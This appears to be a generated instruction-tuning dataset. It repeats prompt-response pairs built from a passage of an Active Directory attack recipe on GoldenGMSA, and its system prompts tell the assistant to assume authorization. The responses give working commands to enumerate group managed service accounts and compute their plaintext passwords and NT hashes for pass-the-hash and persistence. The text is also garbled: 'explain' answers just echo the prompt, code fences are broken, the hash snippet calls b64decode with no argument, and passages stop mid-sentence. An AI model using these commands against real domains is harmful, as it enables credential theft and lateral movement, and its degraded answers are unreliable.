In order to dump the necessary information of a single gMSA, its SID can be used as filter with the --sid argument.

`powershell
GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"
`

=== UNIX-like

pyGoldenGMSA can enumerate gMSA accounts and extract the required information (SID, RootKeyGuid, Password ID, and L0/L1/L2 indices) with low-privilege access:

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the GoldenGMSA.exe command to goldengmsa - account information dump

[Assistant] GoldenGMSA.exe gmsainfo

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the GoldenGMSA.exe command to goldengmsa - account information dump

Response: GoldenGMSA.exe gmsainfo


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through GoldenGMSA - Account information dump

[Assistant] GoldenGMSA.exe gmsainfo

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through GoldenGMSA - Account information dump

Response: GoldenGMSA.exe gmsainfo


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `GoldenGMSA.exe gmsainfo`?

[Assistant] This command is used for goldengmsa - account information dump. Account information dump

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `GoldenGMSA.exe gmsainfo`?

Response: This command is used for goldengmsa - account information dump. Account information dump


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the GoldenGMSA.exe command for goldengmsa - account information dump

[Assistant] GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the GoldenGMSA.exe command for goldengmsa - account information dump

Response: GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for GoldenGMSA - Account information dump

[Assistant] GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for GoldenGMSA - Account information dump

Response: GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"`?

[Assistant] This command is used for goldengmsa - account information dump. Account information dump

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"`?

Response: This command is used for goldengmsa - account information dump. Account information dump


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Enumerate all gMSA accounts?

[Assistant] python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP gmsainfo

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP gmsainfo


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Enumerate all gMSA accounts?

[Assistant] python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP gmsainfo

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Enumerate all gMSA accounts?

Response: python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP gmsainfo


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Enumerate a specific gMSA by SID?

[Assistant]
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP gmsainfo --sid "$GMSA_SID"
```

The tool outputs the account name, SID, root key GUID, and indices required for password computation.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Enumerate a specific gMSA by SID?

Response:
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP gmsainfo --sid "$GMSA_SID"
```

The tool outputs the account name, SID, root key GUID, and indices required for password computation.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Enumerate a specific gMSA by SID

[Assistant]
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP gmsainfo --sid "$GMSA_SID"
```

The tool outputs the account name, SID, root key GUID, and indices required for password computation.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Enumerate a specific gMSA by SID

Response:
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP gmsainfo --sid "$GMSA_SID"
```

The tool outputs the account name, SID, root key GUID, and indices required for password computation.

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about GoldenGMSA - Password calculation?

[Assistant]
::: tabs

=== Windows

Given a gMSA SID, the corresponding KDS root key (matching the RootKeyGuid obtained beforehand), and the Password ID, the actual plaintext password can be calculated with GoldenGMSA (C#).

``powershell
GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"
`

Since the password is randomly generated and is not intended to be used by real users with a keyboard (but instead by servers, programs, scripts, etc.) the password is very long, complex and can include non-printable characters. GoldenGMSA will output the password in base64.

In order to use the password, its MD4 (i.e. NT) hash can be calculated, for pass the hash.

`python
import base64
import hashlib

b64 = input("Password Base64: ")

print("NT hash:", hashlib.new("md4", base64.b64decode()).hexdigest())
`

=== UNIX-like

pyGoldenGMSA can compute gMSA passwords either online (requiring network access to the DC) or offline (using previously dumped KDS root keys), making it particularly useful for persistence scenarios where the attacker may not have continuous access to the domain.

Online computation (automatically retrieves KDS root key and password ID from the DC):

`bash
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID
`

Offline computation (no network access required, using previously dumped KDS root key and password ID):

`bash
python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."
`

Unlike the Windows tool, pyGoldenGMSA outputs the NT hash directly in both NT-only format and nxc format, eliminating the need for manual hash conversion:

`
NT hash:     1c368c74ef1bcbd4892c95a8d6de0f30
LM:NT format:  aad3b435b51404eeaad3b435b51404ee:1c368c74ef1bcbd4892c95a8d6de0f30
`

:::

> [!TIP]
> Both GoldenGMSA (C#) and pyGoldenGMSA (Python) tools featured in this recipe can retrieve gMSA password without the -

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about GoldenGMSA - Password calculation?

Response:
::: tabs

=== Windows

Given a gMSA SID, the corresponding KDS root key (matching the RootKeyGuid obtained beforehand), and the Password ID, the actual plaintext password can be calculated with GoldenGMSA (C#).

``powershell
GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"
`

Since the password is randomly generated and is not intended to be used by real users with a keyboard (but instead by servers, programs, scripts, etc.) the password is very long, complex and can include non-printable characters. GoldenGMSA will output the password in base64.

In order to use the password, its MD4 (i.e. NT) hash can be calculated, for pass the hash.

`python
import base64
import hashlib

b64 = input("Password Base64: ")

print("NT hash:", hashlib.new("md4", base64.b64decode()).hexdigest())
`

=== UNIX-like

pyGoldenGMSA can compute gMSA passwords either online (requiring network access to the DC) or offline (using previously dumped KDS root keys), making it particularly useful for persistence scenarios where the attacker may not have continuous access to the domain.

Online computation (automatically retrieves KDS root key and password ID from the DC):

`bash
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID
`

Offline computation (no network access required, using previously dumped KDS root key and password ID):

`bash
python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."
`

Unlike the Windows tool, pyGoldenGMSA outputs the NT hash directly in both NT-only format and nxc format, eliminating the need for manual hash conversion:

`
NT hash:     1c368c74ef1bcbd4892c95a8d6de0f30
LM:NT format:  aad3b435b51404eeaad3b435b51404ee:1c368c74ef1bcbd4892c95a8d6de0f30
`

:::

> [!TIP]
> Both GoldenGMSA (C#) and pyGoldenGMSA (Python) tools featured in this recipe can retrieve gMSA password without the -


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for GoldenGMSA - Password calculation?

[Assistant]
::: tabs

=== Windows

Given a gMSA SID, the corresponding KDS root key (matching the RootKeyGuid obtained beforehand), and the Password ID, the actual plaintext password can be calculated with GoldenGMSA (C#).

``powershell
GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"
`

Since the password is randomly generated and is not intended to be used by real users with a keyboard (but instead by servers, programs, scripts, etc.) the password is very long, complex and can include non-printable characters. GoldenGMSA will output the password in base64.

In order to use the password, its MD4 (i.e. NT) hash can be calculated, for pass the hash.

`python
import base64
import hashlib

b64 = input("Password Base64: ")

print("NT hash:", hashlib.new("md4", base64.b64decode()).hexdigest())
`

=== UNIX-like

pyGoldenGMSA can compute gMSA passwords either online (requiring network access to the DC) or offline (using previously dumped KDS root keys), making it particularly useful for persistence scenarios where the attacker may not have continuous access to the domain.

Online computation (automatically retrieves KDS root key and password ID from the DC):

`bash
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID
`

Offline computation (no network access required, using previously dumped KDS root key and password ID):

`bash
python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."
`

Unlike the Windows tool, pyGoldenGMSA outputs the NT hash directly in both NT-only format and nxc format, eliminating the need for manual hash conversion:

`
NT hash:     1c368c74ef1bcbd4892c95a8d6de0f30
LM:NT format:  aad3b435b51404eeaad3b435b51404ee:1c368c74ef1bcbd4892c95a8d6de0f30
`

:::

> [!TIP]
> Both GoldenGMSA (C#) and pyGoldenGMSA (Python) tools featured in this recipe can retrieve gMSA password without the -

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for GoldenGMSA - Password calculation?

Response:
::: tabs

=== Windows

Given a gMSA SID, the corresponding KDS root key (matching the RootKeyGuid obtained beforehand), and the Password ID, the actual plaintext password can be calculated with GoldenGMSA (C#).

``powershell
GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"
`

Since the password is randomly generated and is not intended to be used by real users with a keyboard (but instead by servers, programs, scripts, etc.) the password is very long, complex and can include non-printable characters. GoldenGMSA will output the password in base64.

In order to use the password, its MD4 (i.e. NT) hash can be calculated, for pass the hash.

`python
import base64
import hashlib

b64 = input("Password Base64: ")

print("NT hash:", hashlib.new("md4", base64.b64decode()).hexdigest())
`

=== UNIX-like

pyGoldenGMSA can compute gMSA passwords either online (requiring network access to the DC) or offline (using previously dumped KDS root keys), making it particularly useful for persistence scenarios where the attacker may not have continuous access to the domain.

Online computation (automatically retrieves KDS root key and password ID from the DC):

`bash
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID
`

Offline computation (no network access required, using previously dumped KDS root key and password ID):

`bash
python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."
`

Unlike the Windows tool, pyGoldenGMSA outputs the NT hash directly in both NT-only format and nxc format, eliminating the need for manual hash conversion:

`
NT hash:     1c368c74ef1bcbd4892c95a8d6de0f30
LM:NT format:  aad3b435b51404eeaad3b435b51404ee:1c368c74ef1bcbd4892c95a8d6de0f30
`

:::

> [!TIP]
> Both GoldenGMSA (C#) and pyGoldenGMSA (Python) tools featured in this recipe can retrieve gMSA password without the -